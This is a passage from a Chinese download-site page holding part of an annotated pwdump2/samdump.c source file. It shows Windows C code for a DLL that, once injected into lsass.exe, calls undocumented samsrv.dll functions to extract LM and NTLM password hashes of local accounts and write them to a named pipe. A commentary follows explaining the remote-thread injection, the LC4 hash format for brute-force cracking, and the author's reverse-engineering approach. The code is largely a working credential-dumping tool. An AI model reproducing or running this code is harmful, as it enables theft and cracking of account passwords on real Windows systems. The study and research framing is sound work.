⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 pwdump2samdump.c浅析与改进.txt

📁 samdump.c调用LsaQueryInformationPolicy()获取主机SID
💻 TXT
📖 第 1 页 / 共 3 页
字号:
        goto LocateSamsrvEntry_exit;
    }
    SamrEnumerateDomainsInSamServer     = ( SAMRENUMERATEDOMAINSINSAMSERVER   )GetProcAddress
    (
        samsrv,
        "SamrEnumerateDomainsInSamServer"
    );
    if ( !SamrEnumerateDomainsInSamServer )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrLookupDomainInSamServer         = ( SAMRLOOKUPDOMAININSAMSERVER       )GetProcAddress
    (
        samsrv,
        "SamrLookupDomainInSamServer"
    );
    if ( !SamrLookupDomainInSamServer )
    {
        goto LocateSamsrvEntry_exit;
    }
    ret                                 = TRUE;

LocateSamsrvEntry_exit:

    if ( FALSE == ret )
    {
        PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
    }
    /*
     * 后面还要用这些函数指针,这里不得释放samsrv.dll
     */
    return( ret );
}  /* end of LocateSamsrvEntry */

static void PrintHash ( unsigned char *hash )
{
    unsigned int    i;
    char            buf[33];
    char           *p = buf;

    for ( i = 0; i < 16; i++ )
    {
        sprintf( p, "%02X", hash[i] );
        p += 2;
    }
    PrivatePrintf
    (
        outfile,
        outbuf,
        outbuflen,
        "%s",
        buf
    );
    return;
}  /* end of PrintHash */

static void PrintUnicodeString ( PUNICODE_STRING us )
{
    int             i       = 0;
    unsigned int    len     = 0;
    unsigned char  *ansibuf = NULL,
                   *ansistr = NULL;

    if ( NULL == us )
    {
        goto PrintUnicodeString_exit;
    }
    /*
     * 将Unicode串转换成DBCS串再显示,否则中文串显示有问题
     */
    len     = us->Length + 1;
    ansibuf = ( unsigned char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, len );
    if ( NULL == ansibuf )
    {
        ansistr = "No memory for ansibuf";
    }
    else
    {
        i = WideCharToMultiByte
            (
                CP_ACP,
                0,
                us->Buffer,
                ( int )( us->Length / 2 ),
                ansibuf,
                len,
                NULL,
                NULL
            );
        if ( 0 == i )
        {
            ansistr = "WideCharToMultiByte() failed";
        }
        else
        {
            ansistr = ansibuf;
        }
    }
    PrivatePrintf( outfile, outbuf, outbuflen, "%s", ansibuf );

PrintUnicodeString_exit:

    if ( NULL != ansibuf )
    {
        HeapFree( GetProcessHeap(), 0, ansibuf );
        ansibuf = NULL;
    }
    return;
}  /* end of PrintUnicodeString */

static void PrintWin32ErrorCUI ( char *message, DWORD dwMessageId )
{
    char *errMsg;

    FormatMessage
    (
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
        NULL,
        dwMessageId,
        MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
        ( LPTSTR )&errMsg,
        0,
        NULL
    );
    PrivatePrintf
    (
        outfile,
        outbuf,
        outbuflen,
        "%s: %s",
        message,
        errMsg
    );
    LocalFree
    (
        errMsg
    );
    return;
}  /* end of PrintWin32ErrorCUI */

static void PrintZwErrorCUI ( char *message, NTSTATUS status )
{
    char *errMsg;

    FormatMessage
    (
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
        NULL,
        RtlNtStatusToDosError( status ),
        MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
        ( LPTSTR )&errMsg,
        0,
        NULL
    );
    PrivatePrintf
    (
        outfile,
        outbuf,
        outbuflen,
        "%s: %s",
        message,
        errMsg
    );
    LocalFree
    (
        errMsg
    );
    return;
}  /* end of PrintZwErrorCUI */

static int PrivatePrintf
(
    HANDLE      handle,
    char       *buf,
    size_t      count,
    const char *format,
    ...
)
{
    va_list     arg;
    int         num;
    DWORD       NumberOfBytes;

    if ( INVALID_HANDLE_VALUE == handle || NULL == handle || NULL == buf || 0 == count || NULL == format )
    {
        return( -1 );
    }
    /*
     * 将来运行在lsass.exe进程上下文中,必须动用SEH机制加以保护,否则一旦
     * 出现内存访问违例,将导致整个操作系统崩溃!
     */
    __try
    {
        va_start( arg, format );
        num = _vsnprintf
              (
                  buf,
                  count - 1,
                  format,
                  arg
              );
        if ( num >= 0 )
        {
            WriteFile
            (
                handle,
                buf,
                num,
                &NumberOfBytes,
                NULL
            );
        }
        va_end( arg );
    }
    __except
    (
        EXCEPTION_EXECUTE_HANDLER
    )
    {
        num = -1;
    }
    return( num );
}  /* end of PrivatePrintf */

DWORD __cdecl getlmhashdll_main ( char *pipename )
{
    DWORD   ret = EXIT_FAILURE;

    outbuflen   = 1024;
    outbuf      = ( char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, outbuflen );
    if ( NULL == outbuf )
    {
        goto getlmhashdll_main_exit;
    }
    if ( FALSE == WaitNamedPipe( pipename, NMPWAIT_USE_DEFAULT_WAIT ) )
    {
        goto getlmhashdll_main_exit;
    }
    outfile     = CreateFile
                  (
                      pipename,
                      GENERIC_READ | GENERIC_WRITE,
                      0,
                      NULL,
                      OPEN_EXISTING,
                      0,
                      NULL
                  );
    if ( INVALID_HANDLE_VALUE == outfile )
    {
        goto getlmhashdll_main_exit;
    }
    if ( FALSE == LocateNtdllEntry() )
    {
        goto getlmhashdll_main_exit;
    }
    if ( FALSE == LocateSamsrvEntry() )
    {
        goto getlmhashdll_main_exit;
    }
    /*
     * 利用samsrv.dll引出的Undocumented Win32 API获取本机帐号的LM Hash、
     * NTLM Hash
     */
    getlmhash();
    ret         = EXIT_SUCCESS;

getlmhashdll_main_exit:

    if ( NULL != samsrv )
    {
        FreeLibrary( samsrv );
        samsrv  = NULL;
    }
    if ( INVALID_HANDLE_VALUE != outfile )
    {
        CloseHandle( outfile );
        outfile = INVALID_HANDLE_VALUE;
    }
    if ( NULL != outbuf )
    {
        HeapFree( GetProcessHeap(), 0, outbuf );
        outbuf  = NULL;
    }
    outbuflen   = 0;
    return( ret );
}  /* end of getlmhashdll_main */

BOOL WINAPI DllMain ( HINSTANCE hinstDll, DWORD fdwReason, PVOID fImpLoad )
{
    DisableThreadLibraryCalls( hinstDll );
    return( TRUE );
}  /* end of DllMain */

/************************************************************************/

--------------------------------------------------------------------------

1) pwdump2在做什么。

假设当前用户是Administrator或等效用户,pwdump2利用远程线程注入向lsass.exe
进程空间注入一段代码,加载了samdump.c生成的动态链接库,然后GetProcAddress
获取samdump.dll的一个引出函数并调用之。该引出函数获取当前系统中可枚举帐号
的LM Hash、NTLM Hash,生成LC4格式(.lc)文件,可用LC4或等效工具进行暴力破解。
关于LM Hash脆弱性,参看<<SMB系列(5)--LM/NTLM验证机制>>。

http://www.opencjk.org/~scz/200210141957.txt

第一次用加载DLL的办法完成远程线程实质性工作,以前是按照C语言式shellcode的
套路。加载DLL的办法要省不少细节上的纠缠,也趁此多做一点技术积累。

2) 为什么pwdump2这样做就可以获取LM Hash、NTLM Hash。

这个问题,严格意义上的讲解太复杂,又得扯一堆概念进来,参看[2]。简单地讲,
在lsass.exe进程上下文中调用samsrv.dll的未文档化引出函数,这些函数会返回期
望中的LM Hash、NTLM Hash。

开始我低估了SAM安全限制。以为以SYSTEM权限访问SAM即可获取LM Hash,居然失败。
最后确认非要从lsass.exe进程上下文中访问SAM,否则得到如下错误信息:

SamIConnect() failed: 安全帐户管理器(SAM)或本地安全颁发机构(LSA)服务器处于运行安全操作的错误状态。

3) 既然这种技术是未文档化的,那帮人又是如何得到这种技术的,他们Hacking的过
   程、思想的发展可能是怎样的。

最开始我在写扫描器远程漏洞扫描插件,用NetUserGetInfo()查询远程用户信息,在
Ethereal解码过程中意识到与pwdump2的联系。接下来有了逆向samsrv.dll的想法。
逆完SampUpdateEncryption、SampGetCurrentAdminPassword,就得出了前面那个抽
象流程。再与samdump.c一对照,思路很清晰。虽然我不清楚bindview的人是怎么接
近此处的,但按我这个搞法,也可接近此处,就不无谓纠缠了。

4) 在此基础上我们还能继续Hacking出其它有用的东西吗。

目前我没有更多时间Hacking这个方向,但至少成功还原了一批函数原型、数据结构。
有些东西可能目前阶段没有直接用途,但日后肯定会用到的。

枚举值SamUserOWFPasswordInformation(0x12)只能用于本机操作,如在网络操作中
指定0x12级查询,会报告无效级别,显然这出于安全考虑。我在一个底层SMB测试程
序中手工构造SamrQueryInformationUser(36)报文,试图指定level 0x12,查询失败。

5) 下次让你独立确定一个课题并研究之,你会在上述研究中受到什么样的启发,比
   如选题方向、研究方法、工具使用等等。

由此想到一种研究Windows未文档化函数的方法。很多SMB网络函数第一形参指定目标
系统,当该形参为NULL时目标系统即本机。如果用Ethereal抓取了网络通信报文,根
据DCE RPC的marshalling/unmarshalling知识,有可能还原最初的数据结构,而这种
数据结构同时适用于本机、远程操作。再结合适当的逆向工程,进展会更大。当然,
有个重要前提,就是Ethereal已经进行了正确的Network Hacking,否则会导致错误
结论。你还必须能够在Ethereal所解析出的远程过程、Windows RPC Server以及MSDN
中的Win32 API这三者之间找到必然联系。

有个较深的感受,有些东西之间看似没有联系,实际却殊途同归。很早以前就想看看
pwdump2的实现机理,一直觉得它是横空出世的,没有来历,很茫然。搞不清为什么
要GetProcAddress获取那些引出函数地址。没想到在网络通信解码过程中豁然开朗。
看样子以后正门搞不定了,就扔到一边,说不定哪天发现到处是侧门。

☆ 参考资源

[ 2] Windows NT Security, Part 1
     http://www.winntmag.com/Articles/Print.cfm?ArticleID=3143

     Windows NT Security, Part 2
     http://www.winntmag.com/Articles/Print.cfm?ArticleID=3492

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -